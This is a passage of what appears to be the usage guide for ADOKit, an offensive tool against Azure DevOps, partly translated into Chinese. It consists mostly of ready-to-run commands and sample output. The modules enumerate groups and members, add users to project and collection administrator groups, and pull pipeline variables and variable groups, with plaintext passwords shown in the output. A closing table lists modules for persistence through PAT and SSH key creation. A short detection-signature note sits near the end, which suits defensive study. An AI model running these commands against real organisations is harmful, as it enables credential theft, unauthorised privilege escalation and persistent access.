[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
### Search Groups
#### Use Case
> *在 Azure DevOps 实例中搜索给定组*
#### Syntax
提供 `searchgroup` 模块，并在 `/search:` 命令行参数中输入搜索条件，同时提供相关的认证信息和URL。这将输出匹配组的用户主体名称、显示名称和描述。
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### Example Output```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
列出指定组的所有组成员
提供 getgroupmembers 模块以及要在 /group: 命令行参数中搜索的组，同时附带相关的认证信息和 URL。这将输出匹配组的用户主体名称，以及该组的每个组成员，包括用户的邮件地址和显示名称。
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
### 获取项目权限
#### 用例
> *列出拥有某个项目权限的用户列表。*
#### 语法
提供 `getpermissions` 模块以及需要在 `/project:` 命令行参数中搜索的项目，同时附带相关的身份验证信息和 URL。该操作将输出匹配组的用户主体名称、显示名称和描述。此外，还会输出每个组的组成员。
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### 示例输出```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
将用户添加到指定项目的“项目管理员”组中。
使用 addprojectadmin 模块，并提供 /project: 和 /user: 参数，将指定用户添加到指定项目的 Project Administrators 组中。同时，还需提供相关的身份验证信息和 URL。有关执行此操作所需的权限，请参阅模块详细信息表。
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
### 移除项目管理员
#### 用例
> *从给定项目的 Project Administrators 组中移除用户。*
#### 语法
使用 `removeprojectadmin` 模块，并指定 `/project:` 和 `/user:` 参数，以将指定用户从指定项目的 `Project Administrators` 组中移除。同时，需提供相关的认证信息和 URL。有关执行此操作所需的权限，请参阅 [模块详情表](#模块详情表)。
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### 示例输出```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
将用户添加到指定项目的“构建管理员”组中。
使用 addbuildadmin 模块，并附带 /project: 和 /user: 参数，将指定用户添加到指定项目的“构建管理员”组。此外，还需提供相关的认证信息和 URL。执行此操作所需的权限请参见 模块详情表。
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
### 移除构建管理员
#### 使用场景
> *将指定用户从给定项目的“构建管理员”组中移除。*
#### 语法
提供 `removebuildadmin` 模块以及 `/project:` 和 `/user:` 参数，指定要从给定项目的 `Build Administrators` 组中移除的用户。此外，还需提供任何相关的认证信息和 URL。有关执行此操作所需的权限，请参见 [模块详情表](#模块详情表)。
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### 示例输出```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
将用户添加到项目集合管理员组。
提供 addcollectionadmin 模块以及 /user: 参数，用于将指定用户添加到 Project Collection Administrators 组。此外，还需提供相关的认证信息和 URL。有关执行此操作所需的权限，请参阅模块详情表。
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
### Remove Collection Admin
#### 使用场景
> *从项目集合管理员组中移除一个用户。*
#### 语法
提供 `removecollectionadmin` 模块以及 `/user:` 参数，指定要从 `Project Collection Administrators` 组中移除的用户。同时，提供相关的身份验证信息和 URL。查看[模块详细信息表](#module-details-table)了解执行此操作所需的权限。
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 示例输出```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
将用户添加到项目集合构建管理员组。
提供 addcollectionbuildadmin 模块以及 /user: 参数，指定要添加到 Project Collection Build Administrators 组的用户。同时，提供相关身份验证信息和 URL。请参阅 模块详情表 了解执行此操作所需的权限。
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
`ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"```` C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
### 删除集合构建管理员
#### 用例
> *将用户从项目集合构建管理员组中移除。*
#### 语法
提供 `removecollectionbuildadmin` 模块及 `/user:` 参数，指定需要从 `Project Collection Build Administrators` 组中移除的用户。此外，还需提供相关的认证信息和 URL。关于执行此操作所需的权限，请参阅[模块详情表](#模块详情表)。
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 示例输出```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
将用户添加到项目集合构建服务账户组。
提供 addcollectionbuildsvc 模块以及 /user: 参数，用于将指定用户添加到 Project Collection Build Service Accounts 组。此外，还需提供相关的身份验证信息和 URL。有关执行此操作所需的权限，请参见 模块详情表。
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
### 移除集合生成服务帐户
#### 使用场景
> *将用户从项目集合生成服务帐户组中移除。*
#### 语法
使用 `removecollectionbuildsvc` 模块，并附上 `/user:` 参数指定要移除的用户，将其从 `Project Collection Build Service Accounts` 组中删除。此外，还需提供相应的身份验证信息和 URL。执行此操作所需的权限请参阅 [模块详情表](#模块详情表)。
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 示例输出```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
向项目集合服务帐户组添加用户。
提供addcollectionsvc模块以及/user:参数，用于将指定用户添加到Project Collection Service Accounts组。此外，还需提供相关认证信息和URL。有关执行此操作所需的权限，请参阅模块详情表。
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
### 移除集合服务帐户
#### 使用场景
> *从项目集合服务帐户组中移除用户。*
#### 语法
提供 `removecollectionsvc` 模块以及要从中移除的用户的 `/user:` 参数，该用户将从 `Project Collection Service Accounts` 组中移除。此外，还需提供任何相关的认证信息和 URL。有关执行此操作所需的权限，请参阅[模块详细信息表](#module-details-table)。
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 示例输出```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
提取项目中使用的任何管道变量，其中可能包含凭据或其他有用信息。
提供 getpipelinevars 模块，并指定一个 /project: 来提取目标项目正在使用的任何管道变量。如果希望从所有项目中提取管道变量，则在 /project: 参数中指定 all。
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
### 获取管道机密
#### 使用场景
> *提取项目中正在使用的任何管道机密的名称，这将指导操作员在哪里尝试执行机密提取。*
#### 语法
提供 `getpipelinesecrets` 模块以及针对指定项目的 `/project:` 参数，以提取正在使用的任何管道机密的名称。如果您想从所有项目中提取管道机密的名称，请在 `/project:` 参数中指定 `all`。
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### 示例输出```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
提取项目中使用的任何变量组及其对应变量，其中可能包含凭据或其他有用信息。
提供 getvariablegroups 模块以及一个 /project: 参数，指定要提取变量组的项目。如果想从所有项目中提取变量组，请在 /project: 参数中指定 all。
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
### 获取服务连接
#### 用例
> *列出项目中正在使用的任何服务连接，这将指导操作员尝试对正在使用的服务连接执行凭据提取的位置。*
#### 语法
提供 `getserviceconnections` 模块以及指定项目的 `/project:` 参数，以列出正在使用的任何服务连接。如果要列出所有项目中正在使用的服务连接，请在 `/project:` 参数中指定 `all`。
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### 示例输出```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
以下是该工具在默认状态下特定用法的静态签名：
{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
ADOKit-21e233d4334f9703d1a3a42b6e2efd38
ADOKitUsage.json - 检测任何可审计事件中 ADOKit 的使用（例如，将用户添加到组）PersistenceTechniqueWithADOKit.json - 检测使用 ADOKit 创建 PAT 或 SSH 密钥关于工具所用技术的检测指导，请参阅 X-Force Red 的白皮书。
https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops| 攻击场景 | 模块 | 需要特殊权限？ | 备注 |
|---|
| 侦察 | check | 否 | |
| 侦察 | whoami | 否 | |
| 侦察 | listorgs | 否 | |
| 侦察 | listrepo | 否 | |
| 侦察 | searchrepo | 否 | |
| 侦察 | listproject | 否 | |
| 侦察 | searchproject | 否 | |
| 侦察 | searchcode | 否 | |
| 侦察 | searchfile | 否 | |
| 侦察 | listuser | 否 | |
| 侦察 | searchuser | 否 | |
| 侦察 | listteam | 否 | |
| 侦察 | searchteam | 否 | |
| 侦察 | getteammembers | 否 | |
| 侦察 | listgroup | 否 | |
| 侦察 | searchgroup | 否 | |
| 侦察 | getgroupmembers | 否 | |
| 侦察 | getpermissions | 否 | |
| 侦察 | creds | 否 | |
| 侦察 | getbuildlogs | 是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators | |
| 侦察 | listbuildlogs | 是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators | |
| 侦察 | searchbuildlogs | 是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators | |
| 持久化 | createpat | 否 | |
| 持久化 | listpat | 否 | |
| 持久化 | removepat | 否 | |
| 持久化 | createsshkey | 否 | |
| 持久化 | listsshkey | 否 | |
| 持久化 | removesshkey | 否 | |
| 权限提升 | addprojectadmin | 是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | removeprojectadmin | 是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | addbuildadmin | 是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | removebuildadmin | 是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | addcollectionadmin | 是 - Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | removecollectionadmin | 是 - Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | addcollectionbuildadmin | 是 - Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | removecollectionbuildadmin | 是 - Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | addcollectionbuildsvc | 是 - Project Collection Administrator、Project Colection Build Administrators 或 Project Collection Service Accounts | |
| 权限提升 | removecollectionbuildsvc | 是 - Project Collection Administrator、Project Colection Build Administrators 或 Project Collection Service Accounts | |
| 权限提升 | addcollectionsvc | 是 - Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | removecollectionsvc | 是 - Project Collection Administrator 或 Project Collection Service Accounts | |
| 权限提升 | getpipelinevars | 是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators | |
